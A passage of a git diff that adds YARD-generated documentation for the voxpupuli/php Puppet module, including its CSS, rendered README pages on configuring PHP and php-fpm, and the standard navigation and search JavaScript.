55px; + text-align: center; +} + +#menu { font-size: 1.3em; color: #bbb; } +#menu .title, #menu a { font-size: 0.7em; } +#menu .title a { font-size: 1em; } +#menu .title { color: #555; } +#menu a, #menu a:visited { color: #333; text-decoration: none; border-bottom: 1px dotted #bbd; } +#menu a:hover { color: #05a; } + +#footer { margin-top: 15px; border-top: 1px solid #ccc; text-align: center; padding: 7px 0; color: #999; } +#footer a, #footer a:visited { color: #444; text-decoration: none; border-bottom: 1px dotted #bbd; } +#footer a:hover { color: #05a; } + +#listing ul.alpha { font-size: 1.1em; } +#listing ul.alpha { margin: 0; padding: 0; padding-bottom: 10px; list-style: none; } +#listing ul.alpha li.letter { font-size: 1.4em; padding-bottom: 10px; } +#listing ul.alpha ul { margin: 0; padding-left: 15px; } +#listing ul small { color: #666; font-size: 0.7em; } + +li.r1 { background: #f0f0f0; } +li.r2 { background: #fafafa; } + +#content ul.summary li.deprecated .summary_signature a, +#content ul.summary li.deprecated .summary_signature a:visited { text-decoration: line-through; font-style: italic; } + +#toc { + position: relative; + float: right; + overflow-x: auto; + right: -3px; + margin-left: 20px; + margin-bottom: 20px; + padding: 20px; padding-right: 30px; + max-width: 300px; + z-index: 5000; + background: #fefefe; + border: 1px solid #ddd; + box-shadow: -2px 2px 6px #bbb; +} +#toc .title { margin: 0; } +#toc ol { padding-left: 1.8em; } +#toc li { font-size: 1.1em; line-height: 1.7em; } +#toc > ol > li { font-size: 1.1em; font-weight: bold; } +#toc ol > ol { font-size: 0.9em; } +#toc ol ol > ol { padding-left: 2.3em; } +#toc ol + li { margin-top: 0.3em; } +#toc.hidden { padding: 10px; background: #fefefe; box-shadow: none; } +#toc.hidden:hover { background: #fafafa; } +#filecontents h1 + #toc.nofloat { margin-top: 0; } +@media (max-width: 560px) { + #toc { + margin-left: 0; + margin-top: 16px; + float: none; + max-width: none; + } +} + +/* syntax highlighting */ +.source_code { display: none; padding: 3px 8px; border-left: 8px solid #ddd; margin-top: 5px; } +#filecontents pre.code, .docstring pre.code, .source_code pre { font-family: monospace; } +#filecontents pre.code, .docstring pre.code { display: block; } +.source_code .lines { padding-right: 12px; color: #555; text-align: right; } +#filecontents pre.code, .docstring pre.code, +.tags pre.example { + padding: 9px 14px; + margin-top: 4px; + border: 1px solid #e1e1e8; + background: #f7f7f9; + border-radius: 4px; + font-size: 1em; + overflow-x: auto; + line-height: 1.2em; +} +pre.code { color: #000; tab-size: 2; } +pre.code .info.file { color: #555; } +pre.code .val { color: #036A07; } +pre.code .tstring_content, +pre.code .heredoc_beg, pre.code .heredoc_end, +pre.code .qwords_beg, pre.code .qwords_end, pre.code .qwords_sep, +pre.code .words_beg, pre.code .words_end, pre.code .words_sep, +pre.code .qsymbols_beg, pre.code .qsymbols_end, pre.code .qsymbols_sep, +pre.code .symbols_beg, pre.code .symbols_end, pre.code .symbols_sep, +pre.code .tstring, pre.code .dstring { color: #036A07; } +pre.code .fid, pre.code .rubyid_new, pre.code .rubyid_to_s, +pre.code .rubyid_to_sym, pre.code .rubyid_to_f, +pre.code .dot + pre.code .id, +pre.code .rubyid_to_i pre.code .rubyid_each { color: #0085FF; } +pre.code .comment { color: #0066FF; } +pre.code .const, pre.code .constant { color: #585CF6; } +pre.code .label, +pre.code .symbol { color: #C5060B; } +pre.code .kw, +pre.code .rubyid_require, +pre.code .rubyid_extend, +pre.code .rubyid_include { color: #0000FF; } +pre.code .ivar { color: #318495; } +pre.code .gvar, +pre.code .rubyid_backref, +pre.code .rubyid_nth_ref { color: #6D79DE; } +pre.code .regexp, .dregexp { color: #036A07; } +pre.code a { border-bottom: 1px dotted #bbf; } + +/* Color fix for links */ +#content .summary_desc pre.code .id > .object_link a, /* identifier */ +#content .docstring pre.code .id > .object_link a { color: #0085FF; } +#content .summary_desc pre.code .const > .object_link a, /* constant */ +#content .docstring pre.code .const > .object_link a { color: #585CF6; } diff --git a/modules/utilities/unix/web_frameworks/php/docs/file.README.html b/modules/utilities/unix/web_frameworks/php/docs/file.README.html new file mode 100644 index 000000000..e48e7ffca --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/file.README.html @@ -0,0 +1,340 @@ + + + + + + + File: README + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Forge +Build Status

    + +

    Current Status

    + +

    As the original creators of puppet-php are no longer maintaining the module, it has been handed over into the care of Vox Pupuli. +Please be sure to update all your links to the new location.

    + +

    voxpupuli/php Puppet Module

    + +

    voxpupuli/php is a Puppet module for managing PHP with a strong focus +on php-fpm. The module aims to use sane defaults for the supported +architectures. We strive to support all recent versions of Debian, +Ubuntu, RedHat/CentOS, openSUSE/SLES and FreeBSD. Managing Apache +with mod_php is not supported.

    + +

    This originally was a fork of jippi/puppet-php +(nodes-php on Puppet Forge) but has since been rewritten in large parts.

    + +

    Usage

    + +

    Quickest way to get started is simply include'ing the php class.

    + +
    include '::php'
    +
    + +

    Or, you can override defaults and specify additional custom +configurations by declaring class { '::php': } with parameters:

    + +
    class { '::php':
    +  ensure       => latest,
    +  manage_repos => true,
    +  fpm          => true,
    +  dev          => true,
    +  composer     => true,
    +  pear         => true,
    +  phpunit      => false,
    +}
    +
    + +

    Optionally the PHP version or configuration root directory can be changed also:

    + +
    class { '::php::globals':
    +  php_version => '7.0',
    +  config_root => '/etc/php/7.0',
    +}->
    +class { '::php':
    +  manage_repos => true
    +}
    +
    + +

    There are more configuration options available. Please refer to the +auto-generated documentation at http://php.puppet.mayflower.de/.

    + +

    Defining php.ini settings

    + +

    PHP configuration parameters in php.ini files can be defined as parameter +settings on the main php class, or php::fpm / php::cli classes, +or php::extension resources for each component independently.

    + +

    These settings are written into their respective php.ini file. Global +settings in php::settings are merged with the settings of all components. +Please note that settings of extensions are always independent.

    + +

    In the following example the PHP options and timezone will be set in +all PHP configurations, i.e. the PHP cli application and all php-fpm pools.

    + +
      class { '::php':
    +    settings   => {
    +      'PHP/max_execution_time'  => '90',
    +      'PHP/max_input_time'      => '300',
    +      'PHP/memory_limit'        => '64M',
    +      'PHP/post_max_size'       => '32M',
    +      'PHP/upload_max_filesize' => '32M',
    +      'Date/date.timezone'      => 'Europe/Berlin',
    +    },
    +  }
    +
    + +

    Installing extensions

    + +

    PHP configuration parameters in php.ini files can be defined +as parameter extensions on the main php class. They are +activated for all activated SAPIs.

    + +
      class { '::php':
    +    extensions => {
    +      bcmath    => { },
    +      imagick   => {
    +        provider => pecl,
    +      },
    +      xmlrpc    => { },
    +      memcached => {
    +        provider        => 'pecl',
    +        header_packages => [ 'libmemcached-devel', ],
    +      },
    +      apc       => {
    +        provider => 'pecl',
    +        settings => {
    +          'apc/stat'       => '1',
    +          'apc/stat_ctime' => '1',
    +        },
    +        sapi     => 'fpm',
    +      },
    +    },
    +  }
    +
    + +

    See the documentation +of the php::extension resource for all available parameters and default +values.

    + +

    Defining php-fpm pools

    + +

    If different php-fpm pools are required, you can use php::fpm::pool +defined resource type. A single pool called www will be configured +by default. Specify additional pools like so:

    + +
      php::fpm::pool { 'www2':
    +    listen => '127.0.1.1:9000',
    +  }
    +
    + +

    For an overview of all possible parameters for php::fpm::pool resources +please see its documention.

    + +

    Overriding php-fpm user

    + +

    By default, php-fpm is set up to run as Apache. If you need to customize that user, you can do that like so:

    + +
      class { '::php':
    +    fpm_user  => 'nginx',
    +    fpm_group => 'nginx',
    +  }
    +
    + +

    Alternative examples using Hiera

    + +

    Alternative to the Puppet DSL code examples above, you may optionally define your PHP configuration using Hiera.

    + +

    Below are all the examples you see above, but defined in YAML format for use with Hiera.

    + +
    ---
    +php::ensure: latest
    +php::manage_repos: true
    +php::fpm: true
    +php::fpm_user: 'nginx'
    +php::fpm_group: 'nginx'
    +php::dev: true
    +php::composer: true
    +php::pear: true
    +php::phpunit: false
    +php::settings:
    +  'PHP/max_execution_time': '90'
    +  'PHP/max_input_time': '300'
    +  'PHP/memory_limit': '64M'
    +  'PHP/post_max_size': '32M'
    +  'PHP/upload_max_filesize': '32M'
    +  'Date/date.timezone': 'Europe/Berlin'
    +php::extensions:
    +  bcmath: {}
    +  xmlrpc: {}
    +  imagick:
    +    provider: pecl
    +  memcached:
    +    provider: pecl
    +    header_packages:
    +      - libmemcached-dev
    +  apc:
    +    provider: pecl
    +    settings:
    +      'apc/stat': 1
    +      'apc/stat_ctime': 1
    +    sapi: 'fpm'
    +php::fpm::pools:
    +  www2:
    +    listen: '127.0.1.1:9000'
    +
    + +

    Notes

    + +

    Debian squeeze & Ubuntu precise come with PHP 5.3

    + +

    On Debian-based systems, we use php5enmod to enable extension-specific +configuration. This script is only present in php5 packages beginning with +version 5.4. Furthermore, PHP 5.3 is not supported by upstream anymore.

    + +

    We strongly suggest you use a recent PHP version, even if you're using an +older though still supported distribution release. Our default is to have +php::manage_repos enabled to add apt sources for +Dotdeb on Debian and +ppa:ondrej/php5 on +Ubuntu with packages for the current stable PHP version closely tracking +upstream.

    + +

    Ubuntu systems and Ondřej's PPA

    + +

    The older Ubuntu PPAs run by Ondřej have been deprecated (ondrej/php5, ondrej/php5.6) +in favor of a new PPA: ondrej/php which contains all 3 versions of PHP: 5.5, 5.6, and 7.0 +Here's an example in hiera of getting PHP 5.6 installed with php-fpm, pear/pecl, and composer:

    + +
    php::globals::php_version: '5.6'
    +php::fpm: true
    +php::dev: true
    +php::composer: true
    +php::pear: true
    +php::phpunit: false
    +
    + +

    If you do not specify a php version, in Ubuntu the default will be 7.0 if you are +running Xenial (16.04), otherwise PHP 5.6 will be installed (for other versions)

    + +

    Apache support

    + +

    Apache with mod_php is not supported by this module. Please use +puppetlabs/apache instead.

    + +

    We prefer using php-fpm. You can find an example Apache vhost in +manifests/apache_vhost.pp that shows you how to use mod_proxy_fcgi to +connect to php-fpm.

    + +

    Facts

    + +

    We deliver a phpversion fact with this module. This is explicitly NOT intended +to be used within your puppet manifests as it will only work on your second puppet +run. Its intention is to make querying PHP versions per server easy via PuppetDB or Foreman.

    + +

    FreeBSD support

    + +

    On FreeBSD systems we purge the system-wide extensions.ini in favour of +per-module configuration files.

    + +

    Please also note that support for Composer and PHPUnit on FreeBSD is untested +and thus likely incomplete.

    + +

    Running the test suite

    + +

    To run the tests install the ruby dependencies with bundler and execute +rake:

    + +
    bundle install --path vendor/bundle
    +bundle exec rake
    +
    + +

    Bugs & New Features

    + +

    If you happen to stumble upon a bug, please feel free to create a pull request +with a fix (optionally with a test), and a description of the bug and how it +was resolved.

    + +

    Or if you're not into coding, simply create an issue adding steps to let us +reproduce the bug and we will happily fix it.

    + +

    If you have a good idea for a feature or how to improve this module in general, +please create an issue to discuss it. We are very open to feedback. Pull +requests are always welcome.

    + +

    We hate orphaned and unmaintained Puppet modules as much as you do and +therefore promise that we will continue to maintain this module and keep +response times to issues short. If we happen to lose interest, we will write +a big fat warning into this README to let you know.

    + +

    License

    + +

    The project is released under the permissive MIT license.

    + +

    The source can be found at +github.com/voxpupuli/puppet-php.

    + +

    This Puppet module was originally maintained by some fellow puppeteers at +Mayflower GmbH and is now maintained by +Vox Pupuli.

    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/frames.html b/modules/utilities/unix/web_frameworks/php/docs/frames.html new file mode 100644 index 000000000..0cb137144 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/frames.html @@ -0,0 +1,17 @@ + + + + + Documentation by YARD 0.9.9 + + + + diff --git a/modules/utilities/unix/web_frameworks/php/docs/index.html b/modules/utilities/unix/web_frameworks/php/docs/index.html new file mode 100644 index 000000000..3b1e69a77 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/index.html @@ -0,0 +1,340 @@ + + + + + + + File: README + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Forge +Build Status

    + +

    Current Status

    + +

    As the original creators of puppet-php are no longer maintaining the module, it has been handed over into the care of Vox Pupuli. +Please be sure to update all your links to the new location.

    + +

    voxpupuli/php Puppet Module

    + +

    voxpupuli/php is a Puppet module for managing PHP with a strong focus +on php-fpm. The module aims to use sane defaults for the supported +architectures. We strive to support all recent versions of Debian, +Ubuntu, RedHat/CentOS, openSUSE/SLES and FreeBSD. Managing Apache +with mod_php is not supported.

    + +

    This originally was a fork of jippi/puppet-php +(nodes-php on Puppet Forge) but has since been rewritten in large parts.

    + +

    Usage

    + +

    Quickest way to get started is simply include'ing the php class.

    + +
    include '::php'
    +
    + +

    Or, you can override defaults and specify additional custom +configurations by declaring class { '::php': } with parameters:

    + +
    class { '::php':
    +  ensure       => latest,
    +  manage_repos => true,
    +  fpm          => true,
    +  dev          => true,
    +  composer     => true,
    +  pear         => true,
    +  phpunit      => false,
    +}
    +
    + +

    Optionally the PHP version or configuration root directory can be changed also:

    + +
    class { '::php::globals':
    +  php_version => '7.0',
    +  config_root => '/etc/php/7.0',
    +}->
    +class { '::php':
    +  manage_repos => true
    +}
    +
    + +

    There are more configuration options available. Please refer to the +auto-generated documentation at http://php.puppet.mayflower.de/.

    + +

    Defining php.ini settings

    + +

    PHP configuration parameters in php.ini files can be defined as parameter +settings on the main php class, or php::fpm / php::cli classes, +or php::extension resources for each component independently.

    + +

    These settings are written into their respective php.ini file. Global +settings in php::settings are merged with the settings of all components. +Please note that settings of extensions are always independent.

    + +

    In the following example the PHP options and timezone will be set in +all PHP configurations, i.e. the PHP cli application and all php-fpm pools.

    + +
      class { '::php':
    +    settings   => {
    +      'PHP/max_execution_time'  => '90',
    +      'PHP/max_input_time'      => '300',
    +      'PHP/memory_limit'        => '64M',
    +      'PHP/post_max_size'       => '32M',
    +      'PHP/upload_max_filesize' => '32M',
    +      'Date/date.timezone'      => 'Europe/Berlin',
    +    },
    +  }
    +
    + +

    Installing extensions

    + +

    PHP configuration parameters in php.ini files can be defined +as parameter extensions on the main php class. They are +activated for all activated SAPIs.

    + +
      class { '::php':
    +    extensions => {
    +      bcmath    => { },
    +      imagick   => {
    +        provider => pecl,
    +      },
    +      xmlrpc    => { },
    +      memcached => {
    +        provider        => 'pecl',
    +        header_packages => [ 'libmemcached-devel', ],
    +      },
    +      apc       => {
    +        provider => 'pecl',
    +        settings => {
    +          'apc/stat'       => '1',
    +          'apc/stat_ctime' => '1',
    +        },
    +        sapi     => 'fpm',
    +      },
    +    },
    +  }
    +
    + +

    See the documentation +of the php::extension resource for all available parameters and default +values.

    + +

    Defining php-fpm pools

    + +

    If different php-fpm pools are required, you can use php::fpm::pool +defined resource type. A single pool called www will be configured +by default. Specify additional pools like so:

    + +
      php::fpm::pool { 'www2':
    +    listen => '127.0.1.1:9000',
    +  }
    +
    + +

    For an overview of all possible parameters for php::fpm::pool resources +please see its documention.

    + +

    Overriding php-fpm user

    + +

    By default, php-fpm is set up to run as Apache. If you need to customize that user, you can do that like so:

    + +
      class { '::php':
    +    fpm_user  => 'nginx',
    +    fpm_group => 'nginx',
    +  }
    +
    + +

    Alternative examples using Hiera

    + +

    Alternative to the Puppet DSL code examples above, you may optionally define your PHP configuration using Hiera.

    + +

    Below are all the examples you see above, but defined in YAML format for use with Hiera.

    + +
    ---
    +php::ensure: latest
    +php::manage_repos: true
    +php::fpm: true
    +php::fpm_user: 'nginx'
    +php::fpm_group: 'nginx'
    +php::dev: true
    +php::composer: true
    +php::pear: true
    +php::phpunit: false
    +php::settings:
    +  'PHP/max_execution_time': '90'
    +  'PHP/max_input_time': '300'
    +  'PHP/memory_limit': '64M'
    +  'PHP/post_max_size': '32M'
    +  'PHP/upload_max_filesize': '32M'
    +  'Date/date.timezone': 'Europe/Berlin'
    +php::extensions:
    +  bcmath: {}
    +  xmlrpc: {}
    +  imagick:
    +    provider: pecl
    +  memcached:
    +    provider: pecl
    +    header_packages:
    +      - libmemcached-dev
    +  apc:
    +    provider: pecl
    +    settings:
    +      'apc/stat': 1
    +      'apc/stat_ctime': 1
    +    sapi: 'fpm'
    +php::fpm::pools:
    +  www2:
    +    listen: '127.0.1.1:9000'
    +
    + +

    Notes

    + +

    Debian squeeze & Ubuntu precise come with PHP 5.3

    + +

    On Debian-based systems, we use php5enmod to enable extension-specific +configuration. This script is only present in php5 packages beginning with +version 5.4. Furthermore, PHP 5.3 is not supported by upstream anymore.

    + +

    We strongly suggest you use a recent PHP version, even if you're using an +older though still supported distribution release. Our default is to have +php::manage_repos enabled to add apt sources for +Dotdeb on Debian and +ppa:ondrej/php5 on +Ubuntu with packages for the current stable PHP version closely tracking +upstream.

    + +

    Ubuntu systems and Ondřej's PPA

    + +

    The older Ubuntu PPAs run by Ondřej have been deprecated (ondrej/php5, ondrej/php5.6) +in favor of a new PPA: ondrej/php which contains all 3 versions of PHP: 5.5, 5.6, and 7.0 +Here's an example in hiera of getting PHP 5.6 installed with php-fpm, pear/pecl, and composer:

    + +
    php::globals::php_version: '5.6'
    +php::fpm: true
    +php::dev: true
    +php::composer: true
    +php::pear: true
    +php::phpunit: false
    +
    + +

    If you do not specify a php version, in Ubuntu the default will be 7.0 if you are +running Xenial (16.04), otherwise PHP 5.6 will be installed (for other versions)

    + +

    Apache support

    + +

    Apache with mod_php is not supported by this module. Please use +puppetlabs/apache instead.

    + +

    We prefer using php-fpm. You can find an example Apache vhost in +manifests/apache_vhost.pp that shows you how to use mod_proxy_fcgi to +connect to php-fpm.

    + +

    Facts

    + +

    We deliver a phpversion fact with this module. This is explicitly NOT intended +to be used within your puppet manifests as it will only work on your second puppet +run. Its intention is to make querying PHP versions per server easy via PuppetDB or Foreman.

    + +

    FreeBSD support

    + +

    On FreeBSD systems we purge the system-wide extensions.ini in favour of +per-module configuration files.

    + +

    Please also note that support for Composer and PHPUnit on FreeBSD is untested +and thus likely incomplete.

    + +

    Running the test suite

    + +

    To run the tests install the ruby dependencies with bundler and execute +rake:

    + +
    bundle install --path vendor/bundle
    +bundle exec rake
    +
    + +

    Bugs & New Features

    + +

    If you happen to stumble upon a bug, please feel free to create a pull request +with a fix (optionally with a test), and a description of the bug and how it +was resolved.

    + +

    Or if you're not into coding, simply create an issue adding steps to let us +reproduce the bug and we will happily fix it.

    + +

    If you have a good idea for a feature or how to improve this module in general, +please create an issue to discuss it. We are very open to feedback. Pull +requests are always welcome.

    + +

    We hate orphaned and unmaintained Puppet modules as much as you do and +therefore promise that we will continue to maintain this module and keep +response times to issues short. If we happen to lose interest, we will write +a big fat warning into this README to let you know.

    + +

    License

    + +

    The project is released under the permissive MIT license.

    + +

    The source can be found at +github.com/voxpupuli/puppet-php.

    + +

    This Puppet module was originally maintained by some fellow puppeteers at +Mayflower GmbH and is now maintained by +Vox Pupuli.

    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/js/app.js b/modules/utilities/unix/web_frameworks/php/docs/js/app.js new file mode 100644 index 000000000..b9f21202a --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/js/app.js @@ -0,0 +1,248 @@ +(function() { + +var localStorage = {}, sessionStorage = {}; +try { localStorage = window.localStorage; } catch (e) { } +try { sessionStorage = window.sessionStorage; } catch (e) { } + +function createSourceLinks() { + $('.method_details_list .source_code'). + before("[View source]"); + $('.toggleSource').toggle(function() { + $(this).parent().nextAll('.source_code').slideDown(100); + $(this).text("Hide source"); + }, + function() { + $(this).parent().nextAll('.source_code').slideUp(100); + $(this).text("View source"); + }); +} + +function createDefineLinks() { + var tHeight = 0; + $('.defines').after(" more..."); + $('.toggleDefines').toggle(function() { + tHeight = $(this).parent().prev().height(); + $(this).prev().css('display', 'inline'); + $(this).parent().prev().height($(this).parent().height()); + $(this).text("(less)"); + }, + function() { + $(this).prev().hide(); + $(this).parent().prev().height(tHeight); + $(this).text("more..."); + }); +} + +function createFullTreeLinks() { + var tHeight = 0; + $('.inheritanceTree').toggle(function() { + tHeight = $(this).parent().prev().height(); + $(this).parent().toggleClass('showAll'); + $(this).text("(hide)"); + $(this).parent().prev().height($(this).parent().height()); + }, + function() { + $(this).parent().toggleClass('showAll'); + $(this).parent().prev().height(tHeight); + $(this).text("show all"); + }); +} + +function searchFrameButtons() { + $('.full_list_link').click(function() { + toggleSearchFrame(this, $(this).attr('href')); + return false; + }); + window.addEventListener('message', function(e) { + if (e.data === 'navEscape') { + $('#nav').slideUp(100); + $('#search a').removeClass('active inactive'); + $(window).focus(); + } + }); + + $(window).resize(function() { + if ($('#search:visible').length === 0) { + $('#nav').removeAttr('style'); + $('#search a').removeClass('active inactive'); + $(window).focus(); + } + }); +} + +function toggleSearchFrame(id, link) { + var frame = $('#nav'); + $('#search a').removeClass('active').addClass('inactive'); + if (frame.attr('src') === link && frame.css('display') !== "none") { + frame.slideUp(100); + $('#search a').removeClass('active inactive'); + } + else { + $(id).addClass('active').removeClass('inactive'); + if (frame.attr('src') !== link) frame.attr('src', link); + frame.slideDown(100); + } +} + +function linkSummaries() { + $('.summary_signature').click(function() { + document.location = $(this).find('a').attr('href'); + }); +} + +function summaryToggle() { + $('.summary_toggle').click(function(e) { + e.preventDefault(); + localStorage.summaryCollapsed = $(this).text(); + $('.summary_toggle').each(function() { + $(this).text($(this).text() == "collapse" ? "expand" : "collapse"); + var next = $(this).parent().parent().nextAll('ul.summary').first(); + if (next.hasClass('compact')) { + next.toggle(); + next.nextAll('ul.summary').first().toggle(); + } + else if (next.hasClass('summary')) { + var list = $('
      '); + list.html(next.html()); + list.find('.summary_desc, .note').remove(); + list.find('a').each(function() { + $(this).html($(this).find('strong').html()); + $(this).parent().html($(this)[0].outerHTML); + }); + next.before(list); + next.toggle(); + } + }); + return false; + }); + if (localStorage.summaryCollapsed == "collapse") { + $('.summary_toggle').first().click(); + } else { localStorage.summaryCollapsed = "expand"; } +} + +function generateTOC() { + if ($('#filecontents').length === 0) return; + var _toc = $('
        '); + var show = false; + var toc = _toc; + var counter = 0; + var tags = ['h2', 'h3', 'h4', 'h5', 'h6']; + var i; + if ($('#filecontents h1').length > 1) tags.unshift('h1'); + for (i = 0; i < tags.length; i++) { tags[i] = '#filecontents ' + tags[i]; } + var lastTag = parseInt(tags[0][1], 10); + $(tags.join(', ')).each(function() { + if ($(this).parents('.method_details .docstring').length != 0) return; + if (this.id == "filecontents") return; + show = true; + var thisTag = parseInt(this.tagName[1], 10); + if (this.id.length === 0) { + var proposedId = $(this).attr('toc-id'); + if (typeof(proposedId) != "undefined") this.id = proposedId; + else { + var proposedId = $(this).text().replace(/[^a-z0-9-]/ig, '_'); + if ($('#' + proposedId).length > 0) { proposedId += counter; counter++; } + this.id = proposedId; + } + } + if (thisTag > lastTag) { + for (i = 0; i < thisTag - lastTag; i++) { + var tmp = $('
          '); toc.append(tmp); toc = tmp; + } + } + if (thisTag < lastTag) { + for (i = 0; i < lastTag - thisTag; i++) toc = toc.parent(); + } + var title = $(this).attr('toc-title'); + if (typeof(title) == "undefined") title = $(this).text(); + toc.append('
        1. ' + title + '
        2. '); + lastTag = thisTag; + }); + if (!show) return; + html = ''; + $('#content').prepend(html); + $('#toc').append(_toc); + $('#toc .hide_toc').toggle(function() { + $('#toc .top').slideUp('fast'); + $('#toc').toggleClass('hidden'); + $('#toc .title small').toggle(); + }, function() { + $('#toc .top').slideDown('fast'); + $('#toc').toggleClass('hidden'); + $('#toc .title small').toggle(); + }); +} + +function navResizeFn(e) { + if (e.which !== 1) { + navResizeFnStop(); + return; + } + + sessionStorage.navWidth = e.pageX.toString(); + $('.nav_wrap').css('width', e.pageX); + $('.nav_wrap').css('-ms-flex', 'inherit'); +} + +function navResizeFnStop() { + $(window).unbind('mousemove', navResizeFn); + window.removeEventListener('message', navMessageFn, false); +} + +function navMessageFn(e) { + if (e.data.action === 'mousemove') navResizeFn(e.data.event); + if (e.data.action === 'mouseup') navResizeFnStop(); +} + +function navResizer() { + $('#resizer').mousedown(function(e) { + e.preventDefault(); + $(window).mousemove(navResizeFn); + window.addEventListener('message', navMessageFn, false); + }); + $(window).mouseup(navResizeFnStop); + + if (sessionStorage.navWidth) { + navResizeFn({which: 1, pageX: parseInt(sessionStorage.navWidth, 10)}); + } +} + +function navExpander() { + var done = false, timer = setTimeout(postMessage, 500); + function postMessage() { + if (done) return; + clearTimeout(timer); + var opts = { action: 'expand', path: pathId }; + document.getElementById('nav').contentWindow.postMessage(opts, '*'); + done = true; + } + + window.addEventListener('message', function(event) { + if (event.data === 'navReady') postMessage(); + return false; + }, false); +} + +function mainFocus() { + var hash = window.location.hash; + if (hash !== '' && $(hash)[0]) { + $(hash)[0].scrollIntoView(); + } + + setTimeout(function() { $('#main').focus(); }, 10); +} + +$(document).ready(function() { + navResizer(); + navExpander(); + createSourceLinks(); + createDefineLinks(); + createFullTreeLinks(); + searchFrameButtons(); + linkSummaries(); + summaryToggle(); + generateTOC(); + mainFocus(); +}); + +})(); diff --git a/modules/utilities/unix/web_frameworks/php/docs/js/full_list.js b/modules/utilities/unix/web_frameworks/php/docs/js/full_list.js new file mode 100644 index 000000000..59069c5e2 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/js/full_list.js @@ -0,0 +1,216 @@ +(function() { + +var $clicked = $(null); +var searchTimeout = null; +var searchCache = []; +var caseSensitiveMatch = false; +var ignoreKeyCodeMin = 8; +var ignoreKeyCodeMax = 46; +var commandKey = 91; + +RegExp.escape = function(text) { + return text.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&"); +} + +function escapeShortcut() { + $(document).keydown(function(evt) { + if (evt.which == 27) { + window.parent.postMessage('navEscape', '*'); + } + }); +} + +function navResizer() { + $(window).mousemove(function(e) { + window.parent.postMessage({ + action: 'mousemove', event: {pageX: e.pageX, which: e.which} + }, '*'); + }).mouseup(function(e) { + window.parent.postMessage({action: 'mouseup'}, '*'); + }); + window.parent.postMessage("navReady", "*"); +} + +function clearSearchTimeout() { + clearTimeout(searchTimeout); + searchTimeout = null; +} + +function enableLinks() { + // load the target page in the parent window + $('#full_list li').on('click', function(evt) { + $('#full_list li').removeClass('clicked'); + $clicked = $(this); + $clicked.addClass('clicked'); + evt.stopPropagation(); + + if (evt.target.tagName === 'A') return true; + + var elem = $clicked.find('> .item .object_link a')[0]; + var e = evt.originalEvent; + var newEvent = new MouseEvent(evt.originalEvent.type); + newEvent.initMouseEvent(e.type, e.canBubble, e.cancelable, e.view, e.detail, e.screenX, e.screenY, e.clientX, e.clientY, e.ctrlKey, e.altKey, e.shiftKey, e.metaKey, e.button, e.relatedTarget); + elem.dispatchEvent(newEvent); + evt.preventDefault(); + return false; + }); +} + +function enableToggles() { + // show/hide nested classes on toggle click + $('#full_list a.toggle').on('click', function(evt) { + evt.stopPropagation(); + evt.preventDefault(); + $(this).parent().parent().toggleClass('collapsed'); + highlight(); + }); +} + +function populateSearchCache() { + $('#full_list li .item').each(function() { + var $node = $(this); + var $link = $node.find('.object_link a'); + if ($link.length > 0) { + searchCache.push({ + node: $node, + link: $link, + name: $link.text(), + fullName: $link.attr('title').split(' ')[0] + }); + } + }); +} + +function enableSearch() { + $('#search input').keyup(function(event) { + if (ignoredKeyPress(event)) return; + if (this.value === "") { + clearSearch(); + } else { + performSearch(this.value); + } + }); + + $('#full_list').after(""); +} + +function ignoredKeyPress(event) { + if ( + (event.keyCode > ignoreKeyCodeMin && event.keyCode < ignoreKeyCodeMax) || + (event.keyCode == commandKey) + ) { + return true; + } else { + return false; + } +} + +function clearSearch() { + clearSearchTimeout(); + $('#full_list .found').removeClass('found').each(function() { + var $link = $(this).find('.object_link a'); + $link.text($link.text()); + }); + $('#full_list, #content').removeClass('insearch'); + $clicked.parents().removeClass('collapsed'); + highlight(); +} + +function performSearch(searchString) { + clearSearchTimeout(); + $('#full_list, #content').addClass('insearch'); + $('#noresults').text('').hide(); + partialSearch(searchString, 0); +} + +function partialSearch(searchString, offset) { + var lastRowClass = ''; + var i = null; + for (i = offset; i < Math.min(offset + 50, searchCache.length); i++) { + var item = searchCache[i]; + var searchName = (searchString.indexOf('::') != -1 ? item.fullName : item.name); + var matchString = buildMatchString(searchString); + var matchRegexp = new RegExp(matchString, caseSensitiveMatch ? "" : "i"); + if (searchName.match(matchRegexp) == null) { + item.node.removeClass('found'); + item.link.text(item.link.text()); + } + else { + item.node.addClass('found'); + item.node.removeClass(lastRowClass).addClass(lastRowClass == 'r1' ? 'r2' : 'r1'); + lastRowClass = item.node.hasClass('r1') ? 'r1' : 'r2'; + item.link.html(item.name.replace(matchRegexp, "$&")); + } + } + if(i == searchCache.length) { + searchDone(); + } else { + searchTimeout = setTimeout(function() { + partialSearch(searchString, i); + }, 0); + } +} + +function searchDone() { + searchTimeout = null; + highlight(); + if ($('#full_list li:visible').size() === 0) { + $('#noresults').text('No results were found.').hide().fadeIn(); + } else { + $('#noresults').text('').hide(); + } + $('#content').removeClass('insearch'); +} + +function buildMatchString(searchString, event) { + caseSensitiveMatch = searchString.match(/[A-Z]/) != null; + var regexSearchString = RegExp.escape(searchString); + if (caseSensitiveMatch) { + regexSearchString += "|" + + $.map(searchString.split(''), function(e) { return RegExp.escape(e); }). + join('.+?'); + } + return regexSearchString; +} + +function highlight() { + $('#full_list li:visible').each(function(n) { + $(this).removeClass('even odd').addClass(n % 2 == 0 ? 'odd' : 'even'); + }); +} + +/** + * Expands the tree to the target element and its immediate + * children. + */ +function expandTo(path) { + var $target = $(document.getElementById('object_' + path)); + $target.addClass('clicked'); + $target.removeClass('collapsed'); + $target.parentsUntil('#full_list', 'li').removeClass('collapsed'); + if($target[0]) { + window.scrollTo(window.scrollX, $target.offset().top - 250); + highlight(); + } +} + +function windowEvents(event) { + var msg = event.data; + if (msg.action === "expand") { + expandTo(msg.path); + } + return false; +} + +window.addEventListener("message", windowEvents, false); + +$(document).ready(function() { + escapeShortcut(); + navResizer(); + enableLinks(); + enableToggles(); + populateSearchCache(); + enableSearch(); 